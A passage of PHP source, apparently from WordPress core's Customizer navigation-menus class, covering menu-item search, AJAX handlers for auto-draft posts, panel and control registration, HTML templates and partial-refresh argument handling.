get_bloginfo( 'charset' ) ), 'type' => 'taxonomy', 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name, 'object' => $term->taxonomy, 'object_id' => intval( $term->term_id ), 'url' => get_term_link( intval( $term->term_id ), $term->taxonomy ), ); } } /** * Filters the available menu items. * * @since 4.3.0 * * @param array $items The array of menu items. * @param string $type The object type. * @param string $object The object name. * @param int $page The current page number. */ $items = apply_filters( 'customize_nav_menu_available_items', $items, $type, $object, $page ); return $items; } /** * Ajax handler for searching available menu items. * * @since 4.3.0 * @access public */ public function ajax_search_available_items() { check_ajax_referer( 'customize-menus', 'customize-menus-nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } if ( empty( $_POST['search'] ) ) { wp_send_json_error( 'nav_menus_missing_search_parameter' ); } $p = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 0; if ( $p < 1 ) { $p = 1; } $s = sanitize_text_field( wp_unslash( $_POST['search'] ) ); $items = $this->search_available_items_query( array( 'pagenum' => $p, 's' => $s ) ); if ( empty( $items ) ) { wp_send_json_error( array( 'message' => __( 'No results found.' ) ) ); } else { wp_send_json_success( array( 'items' => $items ) ); } } /** * Performs post queries for available-item searching. * * Based on WP_Editor::wp_link_query(). * * @since 4.3.0 * @access public * * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments. * @return array Menu items. */ public function search_available_items_query( $args = array() ) { $items = array(); $post_type_objects = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $query = array( 'post_type' => array_keys( $post_type_objects ), 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'post_status' => 'publish', 'posts_per_page' => 20, ); $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1; $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0; if ( isset( $args['s'] ) ) { $query['s'] = $args['s']; } $posts = array(); // Prepend list of posts with nav_menus_created_posts search results on first page. $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( 1 === $args['pagenum'] && $nav_menus_created_posts_setting && count( $nav_menus_created_posts_setting ) > 0 ) { $stub_post_query = new WP_Query( array_merge( $query, array( 'post_status' => 'auto-draft', 'post__in' => $nav_menus_created_posts_setting->value(), 'posts_per_page' => -1, ) ) ); $posts = array_merge( $posts, $stub_post_query->posts ); } // Query posts. $get_posts = new WP_Query( $query ); $posts = array_merge( $posts, $get_posts->posts ); // Create items for posts. foreach ( $posts as $post ) { $post_title = $post->post_title; if ( '' === $post_title ) { /* translators: %d: ID of a post */ $post_title = sprintf( __( '#%d (no title)' ), $post->ID ); } $items[] = array( 'id' => 'post-' . $post->ID, 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'post_type', 'type_label' => $post_type_objects[ $post->post_type ]->labels->singular_name, 'object' => $post->post_type, 'object_id' => intval( $post->ID ), 'url' => get_permalink( intval( $post->ID ) ), ); } // Query taxonomy terms. $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'names' ); $terms = get_terms( $taxonomies, array( 'name__like' => $args['s'], 'number' => 20, 'offset' => 20 * ($args['pagenum'] - 1), ) ); // Check if any taxonomies were found. if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $items[] = array( 'id' => 'term-' . $term->term_id, 'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'taxonomy', 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name, 'object' => $term->taxonomy, 'object_id' => intval( $term->term_id ), 'url' => get_term_link( intval( $term->term_id ), $term->taxonomy ), ); } } /** * Filters the available menu items during a search request. * * @since 4.5.0 * * @param array $items The array of menu items. * @param array $args Includes 'pagenum' and 's' (search) arguments. */ $items = apply_filters( 'customize_nav_menu_searched_items', $items, $args ); return $items; } /** * Enqueue scripts and styles for Customizer pane. * * @since 4.3.0 * @access public */ public function enqueue_scripts() { wp_enqueue_style( 'customize-nav-menus' ); wp_enqueue_script( 'customize-nav-menus' ); $temp_nav_menu_setting = new WP_Customize_Nav_Menu_Setting( $this->manager, 'nav_menu[-1]' ); $temp_nav_menu_item_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->manager, 'nav_menu_item[-1]' ); // Pass data to JS. $settings = array( 'allMenus' => wp_get_nav_menus(), 'itemTypes' => $this->available_item_types(), 'l10n' => array( 'untitled' => _x( '(no label)', 'missing menu item navigation label' ), 'unnamed' => _x( '(unnamed)', 'Missing menu name.' ), 'custom_label' => __( 'Custom Link' ), 'page_label' => get_post_type_object( 'page' )->labels->singular_name, /* translators: %s: menu location */ 'menuLocation' => _x( '(Currently set to: %s)', 'menu' ), 'menuNameLabel' => __( 'Menu Name' ), 'itemAdded' => __( 'Menu item added' ), 'itemDeleted' => __( 'Menu item deleted' ), 'menuAdded' => __( 'Menu created' ), 'menuDeleted' => __( 'Menu deleted' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), /* translators: ▸ is the unicode right-pointing triangle, and %s is the section title in the Customizer */ 'customizingMenus' => sprintf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ), /* translators: %s: title of menu item which is invalid */ 'invalidTitleTpl' => __( '%s (Invalid)' ), /* translators: %s: title of menu item in draft status */ 'pendingTitleTpl' => __( '%s (Pending)' ), 'itemsFound' => __( 'Number of items found: %d' ), 'itemsFoundMore' => __( 'Additional items found: %d' ), 'itemsLoadingMore' => __( 'Loading more results... please wait.' ), 'reorderModeOn' => __( 'Reorder mode enabled' ), 'reorderModeOff' => __( 'Reorder mode closed' ), 'reorderLabelOn' => esc_attr__( 'Reorder menu items' ), 'reorderLabelOff' => esc_attr__( 'Close reorder mode' ), ), 'settingTransport' => 'postMessage', 'phpIntMax' => PHP_INT_MAX, 'defaultSettingValues' => array( 'nav_menu' => $temp_nav_menu_setting->default, 'nav_menu_item' => $temp_nav_menu_item_setting->default, ), 'locationSlugMappedToName' => get_registered_nav_menus(), ); $data = sprintf( 'var _wpCustomizeNavMenusSettings = %s;', wp_json_encode( $settings ) ); wp_scripts()->add_data( 'customize-nav-menus', 'data', $data ); // This is copied from nav-menus.php, and it has an unfortunate object name of `menus`. $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => null, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: previous item name */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: previous item name */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: previous item name */ 'under' => __( 'Under %s' ), /* translators: %s: previous item name */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: item name, 2: item position, 3: total number of items */ 'menuFocus' => __( '%1$s. Menu item %2$d of %3$d.' ), /* translators: 1: item name, 2: item position, 3: parent item name */ 'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); } /** * Filters a dynamic setting's constructor args. * * For a dynamic setting to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Setting constructor. * * @since 4.3.0 * @access public * * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @return array|false */ public function filter_dynamic_setting_args( $setting_args, $setting_id ) { if ( preg_match( WP_Customize_Nav_Menu_Setting::ID_PATTERN, $setting_id ) ) { $setting_args = array( 'type' => WP_Customize_Nav_Menu_Setting::TYPE, 'transport' => 'postMessage', ); } elseif ( preg_match( WP_Customize_Nav_Menu_Item_Setting::ID_PATTERN, $setting_id ) ) { $setting_args = array( 'type' => WP_Customize_Nav_Menu_Item_Setting::TYPE, 'transport' => 'postMessage', ); } return $setting_args; } /** * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass. * * @since 4.3.0 * @access public * * @param string $setting_class WP_Customize_Setting or a subclass. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @param array $setting_args WP_Customize_Setting or a subclass. * @return string */ public function filter_dynamic_setting_class( $setting_class, $setting_id, $setting_args ) { unset( $setting_id ); if ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Setting::TYPE === $setting_args['type'] ) { $setting_class = 'WP_Customize_Nav_Menu_Setting'; } elseif ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Item_Setting::TYPE === $setting_args['type'] ) { $setting_class = 'WP_Customize_Nav_Menu_Item_Setting'; } return $setting_class; } /** * Add the customizer settings and controls. * * @since 4.3.0 * @access public */ public function customize_register() { // Preview settings for nav menus early so that the sections and controls will be added properly. $nav_menus_setting_ids = array(); foreach ( array_keys( $this->manager->unsanitized_post_values() ) as $setting_id ) { if ( preg_match( '/^(nav_menu_locations|nav_menu|nav_menu_item)\[/', $setting_id ) ) { $nav_menus_setting_ids[] = $setting_id; } } $this->manager->add_dynamic_settings( $nav_menus_setting_ids ); if ( ! $this->manager->doing_ajax( 'customize_save' ) ) { foreach ( $nav_menus_setting_ids as $setting_id ) { $setting = $this->manager->get_setting( $setting_id ); if ( $setting ) { $setting->preview(); } } } // Require JS-rendered control types. $this->manager->register_panel_type( 'WP_Customize_Nav_Menus_Panel' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Name_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Auto_Add_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Item_Control' ); // Create a panel for Menus. $description = '<p>' . __( 'This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links.' ) . '</p>'; if ( current_theme_supports( 'widgets' ) ) { /* translators: URL to the widgets panel of the customizer */ $description .= '<p>' . sprintf( __( 'Menus can be displayed in locations defined by your theme or in <a href="%s">widget areas</a> by adding a “Custom Menu” widget.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>'; } else { $description .= '<p>' . __( 'Menus can be displayed in locations defined by your theme.' ) . '</p>'; } $this->manager->add_panel( new WP_Customize_Nav_Menus_Panel( $this->manager, 'nav_menus', array( 'title' => __( 'Menus' ), 'description' => $description, 'priority' => 100, // 'theme_supports' => 'menus|widgets', @todo allow multiple theme supports ) ) ); $menus = wp_get_nav_menus(); // Menu locations. $locations = get_registered_nav_menus(); $num_locations = count( array_keys( $locations ) ); if ( 1 == $num_locations ) { $description = '<p>' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '</p>'; } else { /* translators: %s: number of menu locations */ $description = '<p>' . sprintf( _n( 'Your theme supports %s menu. Select which menu appears in each location.', 'Your theme supports %s menus. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>'; } if ( current_theme_supports( 'widgets' ) ) { /* translators: URL to the widgets panel of the customizer */ $description .= '<p>' . sprintf( __( 'You can also place menus in <a href="%s">widget areas</a> with the “Custom Menu” widget.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>'; } $this->manager->add_section( 'menu_locations', array( 'title' => __( 'Menu Locations' ), 'panel' => 'nav_menus', 'priority' => 5, 'description' => $description, ) ); $choices = array( '0' => __( '— Select —' ) ); foreach ( $menus as $menu ) { $choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '…' ); } foreach ( $locations as $location => $description ) { $setting_id = "nav_menu_locations[{$location}]"; $setting = $this->manager->get_setting( $setting_id ); if ( $setting ) { $setting->transport = 'postMessage'; remove_filter( "customize_sanitize_{$setting_id}", 'absint' ); add_filter( "customize_sanitize_{$setting_id}", array( $this, 'intval_base10' ) ); } else { $this->manager->add_setting( $setting_id, array( 'sanitize_callback' => array( $this, 'intval_base10' ), 'theme_supports' => 'menus', 'type' => 'theme_mod', 'transport' => 'postMessage', 'default' => 0, ) ); } $this->manager->add_control( new WP_Customize_Nav_Menu_Location_Control( $this->manager, $setting_id, array( 'label' => $description, 'location_id' => $location, 'section' => 'menu_locations', 'choices' => $choices, ) ) ); } // Register each menu as a Customizer section, and add each menu item to each menu. foreach ( $menus as $menu ) { $menu_id = $menu->term_id; // Create a section for each menu. $section_id = 'nav_menu[' . $menu_id . ']'; $this->manager->add_section( new WP_Customize_Nav_Menu_Section( $this->manager, $section_id, array( 'title' => html_entity_decode( $menu->name, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'priority' => 10, 'panel' => 'nav_menus', ) ) ); $nav_menu_setting_id = 'nav_menu[' . $menu_id . ']'; $this->manager->add_setting( new WP_Customize_Nav_Menu_Setting( $this->manager, $nav_menu_setting_id, array( 'transport' => 'postMessage', ) ) ); // Add the menu contents. $menu_items = (array) wp_get_nav_menu_items( $menu_id ); foreach ( array_values( $menu_items ) as $i => $item ) { // Create a setting for each menu item (which doesn't actually manage data, currently). $menu_item_setting_id = 'nav_menu_item[' . $item->ID . ']'; $value = (array) $item; if ( empty( $value['post_title'] ) ) { $value['title'] = ''; } $value['nav_menu_term_id'] = $menu_id; $this->manager->add_setting( new WP_Customize_Nav_Menu_Item_Setting( $this->manager, $menu_item_setting_id, array( 'value' => $value, 'transport' => 'postMessage', ) ) ); // Create a control for each menu item. $this->manager->add_control( new WP_Customize_Nav_Menu_Item_Control( $this->manager, $menu_item_setting_id, array( 'label' => $item->title, 'section' => $section_id, 'priority' => 10 + $i, ) ) ); } // Note: other controls inside of this section get added dynamically in JS via the MenuSection.ready() function. } // Add the add-new-menu section and controls. $this->manager->add_section( new WP_Customize_New_Menu_Section( $this->manager, 'add_menu', array( 'title' => __( 'Add a Menu' ), 'panel' => 'nav_menus', 'priority' => 999, ) ) ); $this->manager->add_control( 'new_menu_name', array( 'label' => '', 'section' => 'add_menu', 'type' => 'text', 'settings' => array(), 'input_attrs' => array( 'class' => 'menu-name-field', 'placeholder' => __( 'New menu name' ), ), ) ); $this->manager->add_control( new WP_Customize_New_Menu_Control( $this->manager, 'create_new_menu', array( 'section' => 'add_menu', 'settings' => array(), ) ) ); $this->manager->add_setting( new WP_Customize_Filter_Setting( $this->manager, 'nav_menus_created_posts', array( 'transport' => 'postMessage', 'type' => 'option', // To prevent theme prefix in changeset. 'default' => array(), 'sanitize_callback' => array( $this, 'sanitize_nav_menus_created_posts' ), ) ) ); } /** * Get the base10 intval. * * This is used as a setting's sanitize_callback; we can't use just plain * intval because the second argument is not what intval() expects. * * @since 4.3.0 * @access public * * @param mixed $value Number to convert. * @return int Integer. */ public function intval_base10( $value ) { return intval( $value, 10 ); } /** * Return an array of all the available item types. * * @since 4.3.0 * @since 4.7.0 Each array item now includes a `$type_label` in in addition to `$title`, `$type`, and `$object`. * @access public * * @return array The available menu item types. */ public function available_item_types() { $item_types = array(); $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); if ( $post_types ) { foreach ( $post_types as $slug => $post_type ) { $item_types[] = array( 'title' => $post_type->labels->name, 'type_label' => $post_type->labels->singular_name, 'type' => 'post_type', 'object' => $post_type->name, ); } } $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); if ( $taxonomies ) { foreach ( $taxonomies as $slug => $taxonomy ) { if ( 'post_format' === $taxonomy && ! current_theme_supports( 'post-formats' ) ) { continue; } $item_types[] = array( 'title' => $taxonomy->labels->name, 'type_label' => $taxonomy->labels->singular_name, 'type' => 'taxonomy', 'object' => $taxonomy->name, ); } } /** * Filters the available menu item types. * * @since 4.3.0 * @since 4.7.0 Each array item now includes a `$type_label` in in addition to `$title`, `$type`, and `$object`. * * @param array $item_types Custom menu item types. */ $item_types = apply_filters( 'customize_nav_menu_available_item_types', $item_types ); return $item_types; } /** * Add a new `auto-draft` post. * * @access public * @since 4.7.0 * * @param array $postarr { * Post array. Note that post_status is overridden to be `auto-draft`. * * @var string $post_title Post title. Required. * @var string $post_type Post type. Required. * @var string $post_name Post name. * @var string $post_content Post content. * } * @return WP_Post|WP_Error Inserted auto-draft post object or error. */ public function insert_auto_draft_post( $postarr ) { if ( ! isset( $postarr['post_type'] ) ) { return new WP_Error( 'unknown_post_type', __( 'Unknown post type' ) ); } if ( empty( $postarr['post_title'] ) ) { return new WP_Error( 'empty_title', __( 'Empty title' ) ); } if ( ! empty( $postarr['post_status'] ) ) { return new WP_Error( 'status_forbidden', __( 'Status is forbidden' ) ); } $postarr['post_status'] = 'auto-draft'; // Auto-drafts are allowed to have empty post_names, so it has to be explicitly set. if ( empty( $postarr['post_name'] ) ) { $postarr['post_name'] = sanitize_title( $postarr['post_title'] ); } if ( ! isset( $postarr['meta_input'] ) ) { $postarr['meta_input'] = array(); } $postarr['meta_input']['_customize_draft_post_name'] = $postarr['post_name']; unset( $postarr['post_name'] ); add_filter( 'wp_insert_post_empty_content', '__return_false', 1000 ); $r = wp_insert_post( wp_slash( $postarr ), true ); remove_filter( 'wp_insert_post_empty_content', '__return_false', 1000 ); if ( is_wp_error( $r ) ) { return $r; } else { return get_post( $r ); } } /** * Ajax handler for adding a new auto-draft post. * * @access public * @since 4.7.0 */ public function ajax_insert_auto_draft_post() { if ( ! check_ajax_referer( 'customize-menus', 'customize-menus-nonce', false ) ) { wp_send_json_error( 'bad_nonce', 400 ); } if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( 'customize_not_allowed', 403 ); } if ( empty( $_POST['params'] ) || ! is_array( $_POST['params'] ) ) { wp_send_json_error( 'missing_params', 400 ); } $params = wp_unslash( $_POST['params'] ); $illegal_params = array_diff( array_keys( $params ), array( 'post_type', 'post_title' ) ); if ( ! empty( $illegal_params ) ) { wp_send_json_error( 'illegal_params', 400 ); } $params = array_merge( array( 'post_type' => '', 'post_title' => '', ), $params ); if ( empty( $params['post_type'] ) || ! post_type_exists( $params['post_type'] ) ) { status_header( 400 ); wp_send_json_error( 'missing_post_type_param' ); } $post_type_object = get_post_type_object( $params['post_type'] ); if ( ! current_user_can( $post_type_object->cap->create_posts ) || ! current_user_can( $post_type_object->cap->publish_posts ) ) { status_header( 403 ); wp_send_json_error( 'insufficient_post_permissions' ); } $params['post_title'] = trim( $params['post_title'] ); if ( '' === $params['post_title'] ) { status_header( 400 ); wp_send_json_error( 'missing_post_title' ); } $r = $this->insert_auto_draft_post( $params ); if ( is_wp_error( $r ) ) { $error = $r; if ( ! empty( $post_type_object->labels->singular_name ) ) { $singular_name = $post_type_object->labels->singular_name; } else { $singular_name = __( 'Post' ); } $data = array( /* translators: %1$s is the post type name and %2$s is the error message. */ 'message' => sprintf( __( '%1$s could not be created: %2$s' ), $singular_name, $error->get_error_message() ), ); wp_send_json_error( $data ); } else { $post = $r; $data = array( 'post_id' => $post->ID, 'url' => get_permalink( $post->ID ), ); wp_send_json_success( $data ); } } /** * Print the JavaScript templates used to render Menu Customizer components. * * Templates are imported into the JS use wp.template. * * @since 4.3.0 * @access public */ public function print_templates() { ?> <script type="text/html" id="tmpl-available-menu-item"> <li id="menu-item-tpl-{{ data.id }}" class="menu-item-tpl" data-menu-item-id="{{ data.id }}"> <div class="menu-item-bar"> <div class="menu-item-handle"> <span class="item-type" aria-hidden="true">{{ data.type_label }}</span> <span class="item-title" aria-hidden="true"> <span class="menu-item-title<# if ( ! data.title ) { #> no-title<# } #>">{{ data.title || wp.customize.Menus.data.l10n.untitled }}</span> </span> <button type="button" class="button-link item-add"> <span class="screen-reader-text"><?php /* translators: 1: Title of a menu item, 2: Type of a menu item */ printf( __( 'Add to menu: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.type_label }}' ); ?></span> </button> </div> </div> </li> </script> <script type="text/html" id="tmpl-menu-item-reorder-nav"> <div class="menu-item-reorder-nav"> <?php printf( '<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>', __( 'Move up' ), __( 'Move down' ), __( 'Move one level up' ), __( 'Move one level down' ) ); ?> </div> </script> <?php } /** * Print the html template used to render the add-menu-item frame. * * @since 4.3.0 * @access public */ public function available_items_template() { ?> <div id="available-menu-items" class="accordion-container"> <div class="customize-section-title"> <button type="button" class="customize-section-back" tabindex="-1"> <span class="screen-reader-text"><?php _e( 'Back' ); ?></span> </button> <h3> <span class="customize-action"> <?php /* translators: ▸ is the unicode right-pointing triangle, and %s is the section title in the Customizer */ printf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ); ?> </span> <?php _e( 'Add Menu Items' ); ?> </h3> </div> <div id="available-menu-items-search" class="accordion-section cannot-expand"> <div class="accordion-section-title"> <label class="screen-reader-text" for="menu-items-search"><?php _e( 'Search Menu Items' ); ?></label> <input type="text" id="menu-items-search" placeholder="<?php esc_attr_e( 'Search menu items…' ) ?>" aria-describedby="menu-items-search-desc" /> <p class="screen-reader-text" id="menu-items-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p> <span class="spinner"></span> </div> <div class="search-icon" aria-hidden="true"></div> <button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button> <ul class="accordion-section-content available-menu-items-list" data-type="search"></ul> </div> <?php // Ensure the page post type comes first in the list. $item_types = $this->available_item_types(); $page_item_type = null; foreach ( $item_types as $i => $item_type ) { if ( isset( $item_type['object'] ) && 'page' === $item_type['object'] ) { $page_item_type = $item_type; unset( $item_types[ $i ] ); } } $this->print_custom_links_available_menu_item(); if ( $page_item_type ) { $this->print_post_type_container( $page_item_type ); } // Containers for per-post-type item browsing; items are added with JS. foreach ( $item_types as $item_type ) { $this->print_post_type_container( $item_type ); } ?> </div><!-- #available-menu-items --> <?php } /** * Print the markup for new menu items. * * To be used in the template #available-menu-items. * * @since 4.7.0 * @access private * * @param array $available_item_type Menu item data to output, including title, type, and label. * @return void */ protected function print_post_type_container( $available_item_type ) { $id = sprintf( 'available-menu-items-%s-%s', $available_item_type['type'], $available_item_type['object'] ); ?> <div id="<?php echo esc_attr( $id ); ?>" class="accordion-section"> <h4 class="accordion-section-title" role="presentation"> <?php echo esc_html( $available_item_type['title'] ); ?> <span class="spinner"></span> <span class="no-items"><?php _e( 'No items' ); ?></span> <button type="button" class="button-link" aria-expanded="false"> <span class="screen-reader-text"><?php /* translators: %s: Title of a section with menu items */ printf( __( 'Toggle section: %s' ), esc_html( $available_item_type['title'] ) ); ?></span> <span class="toggle-indicator" aria-hidden="true"></span> </button> </h4> <div class="accordion-section-content"> <?php if ( 'post_type' === $available_item_type['type'] ) : ?> <?php $post_type_obj = get_post_type_object( $available_item_type['object'] ); ?> <?php if ( current_user_can( $post_type_obj->cap->create_posts ) && current_user_can( $post_type_obj->cap->publish_posts ) ) : ?> <div class="new-content-item"> <input type="text" class="create-item-input" placeholder="<?php echo esc_attr( $post_type_obj->labels->add_new_item ); ?>"> <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button> </div> <?php endif; ?> <?php endif; ?> <ul class="available-menu-items-list" data-type="<?php echo esc_attr( $available_item_type['type'] ); ?>" data-object="<?php echo esc_attr( $available_item_type['object'] ); ?>" data-type_label="<?php echo esc_attr( isset( $available_item_type['type_label'] ) ? $available_item_type['type_label'] : $available_item_type['type'] ); ?>"></ul> </div> </div> <?php } /** * Print the markup for available menu item custom links. * * @since 4.7.0 * @access private * * @return void */ protected function print_custom_links_available_menu_item() { ?> <div id="new-custom-menu-item" class="accordion-section"> <h4 class="accordion-section-title" role="presentation"> <?php _e( 'Custom Links' ); ?> <button type="button" class="button-link" aria-expanded="false"> <span class="screen-reader-text"><?php _e( 'Toggle section: Custom Links' ); ?></span> <span class="toggle-indicator" aria-hidden="true"></span> </button> </h4> <div class="accordion-section-content customlinkdiv"> <input type="hidden" value="custom" id="custom-menu-item-type" name="menu-item[-1][menu-item-type]" /> <p id="menu-item-url-wrap" class="wp-clearfix"> <label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label> <input id="custom-menu-item-url" name="menu-item[-1][menu-item-url]" type="text" class="code menu-item-textbox" value="http://"> </p> <p id="menu-item-name-wrap" class="wp-clearfix"> <label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label> <input id="custom-menu-item-name" name="menu-item[-1][menu-item-title]" type="text" class="regular-text menu-item-textbox"> </p> <p class="button-controls"> <span class="add-to-menu"> <input type="submit" class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="custom-menu-item-submit"> <span class="spinner"></span> </span> </p> </div> </div> <?php } // // Start functionality specific to partial-refresh of menu changes in Customizer preview. // /** * Nav menu args used for each instance, keyed by the args HMAC. * * @since 4.3.0 * @access public * @var array */ public $preview_nav_menu_instance_args = array(); /** * Filters arguments for dynamic nav_menu selective refresh partials. * * @since 4.5.0 * @access public * * @param array|false $partial_args Partial args. * @param string $partial_id Partial ID. * @return array Partial args. */ public function customize_dynamic_partial_args( $partial_args, $partial_id ) { if ( preg_match( '/^nav_menu_instance\[[0-9a-f]{32}\]$/', $partial_id ) ) { if ( false === $partial_args ) { $partial_args = array(); } $partial_args = array_merge( $partial_args, array( 'type' => 'nav_menu_instance', 'render_callback' => array( $this, 'render_nav_menu_partial' ), 'container_inclusive' => true, 'settings' => array(), // Empty because the nav menu instance may relate to a menu or a location. 'capability' => 'edit_theme_options', ) ); } return $partial_args; } /** * Add hooks for the Customizer preview. * * @since 4.3.0 * @access public */ public function customize_preview_init() { add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue_deps' ) ); add_filter( 'wp_nav_menu_args', array( $this, 'filter_wp_nav_menu_args' ), 1000 ); add_filter( 'wp_nav_menu', array( $this, 'filter_wp_nav_menu' ), 10, 2 ); add_filter( 'wp_footer', array( $this, 'export_preview_data' ), 1 ); add_filter( 'customize_render_partials_response', array( $this, 'export_partial_rendered_nav_menu_instances' ) ); } /** * Make the auto-draft status protected so that it can be queried. * * @since 4.7.0 * @access public */ public function make_auto_draft_status_previewable() { global $wp_post_statuses; $wp_post_statuses['auto-draft']->protected = true; } /** * Sanitize post IDs for auto-draft posts created for nav menu items to be published. * * @since 4.7.0 * @access public * * @param array $value Post IDs. * @returns array Post IDs. */ public function sanitize_nav_menus_created_posts( $value ) { $post_ids = array(); foreach ( wp_parse_id_list( $value ) as $post_id ) { if ( empty( $post_id ) ) { continue; } $post = get_post( $post_id ); if ( 'auto-draft' !== $post->post_status ) { continue; } $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj ) { continue; } if ( ! current_user_can( $post_type_obj->cap->publish_posts ) || ! current_user_can( $post_type_obj->cap->edit_post, $post_id ) ) { continue; } $post_ids[] = $post->ID; } return $post_ids; } /** * Publish the auto-draft posts that were created for nav menu items. * * The post IDs will have been sanitized by already by * `WP_Customize_Nav_Menu_Items::sanitize_nav_menus_created_posts()` to * remove any post IDs for which the user cannot publish or for which the * post is not an auto-draft. * * @since 4.7.0 * @access public * * @param WP_Customize_Setting $setting Customizer setting object. */ public function save_nav_menus_created_posts( $setting ) { $post_ids = $setting->post_value(); if ( ! empty( $post_ids ) ) { foreach ( $post_ids as $post_id ) { $target_status = 'attachment' === get_post_type( $post_id ) ? 'inherit' : 'publish'; $args = array( 'ID' => $post_id, 'post_status' => $target_status, ); $post_name = get_post_meta( $post_id, '_customize_draft_post_name', true ); if ( $post_name ) { $args['post_name'] = $post_name; } // Note that wp_publish_post() cannot be used because unique slugs need to be assigned. wp_update_post( wp_slash( $args ) ); delete_post_meta( $post_id, '_customize_draft_post_name' ); } } } /** * Keep track of the arguments that are being passed to wp_nav_menu(). * * @since 4.3.0 * @access public * @see wp_nav_menu() * @see WP_Customize_Widgets_Partial_Refresh::filter_dynamic_sidebar_params() * * @param array $args An array containing wp_nav_menu() arguments. * @return array Arguments. */ public function filter_wp_nav_menu_args( $args ) { /* * The following conditions determine whether or not this instance of * wp_nav_menu() can use selective refreshed. A wp_nav_menu() can be * selective refreshed if... */ $can_partial_refresh = ( // ...if wp_nav_menu() is directly echoing out the menu (and thus isn't manipulating the string after generated), ! empty( $args['echo'] ) && // ...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data, ( empty( $args['fallback_cb'] ) || is_string( $args['fallback_cb'] ) ) && // ...and if the walker can also be serialized to JSON, since it will be included in the placement context data as well, ( empty( $args['walker'] ) || is_string( $args['walker'] ) ) // ...and if it has a theme location assigned or an assigned menu to display, && ( ! empty( $args['theme_location'] ) || ( ! empty( $args['menu'] ) && ( is_numeric( $args['menu'] ) || is_object( $args['menu'] ) ) ) ) && // ...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes). ( ! empty( $args['container'] ) || ( isset( $args['items_wrap'] ) && '<' === substr( $args['items_wrap'], 0, 1 ) ) ) ); $args['can_partial_refresh'] = $can_partial_refresh; $exported_args = $args; // Empty out args which may not be JSON-serializable. if ( ! $can_partial_refresh ) { $exported_args['fallback_cb'] = ''; $exported_args['walker'] = ''; } /* * Replace object menu arg with a term_id menu arg, as this exports better * to JS and is easier to compare hashes. */ if ( ! empty( $exported_args['menu'] ) && is_object( $exported_args['menu'] ) ) { $exported_args['menu'] = $exported_args['menu']->term_id; } ksort( $exported_args ); $exported_args['args_hmac'] = $this->hash_nav_menu_args( $exported_args ); $args['customize_preview_nav_menus_args'] = $exported_args; $this->preview_nav_menu_instance_args[ $exported_args['args_hmac'] ] = $exported_args; return $args; } /** * Prepares wp_nav_menu() calls for partial refresh. * * Injects attributes into container element. * * @since 4.3.0 * @access public * * @see 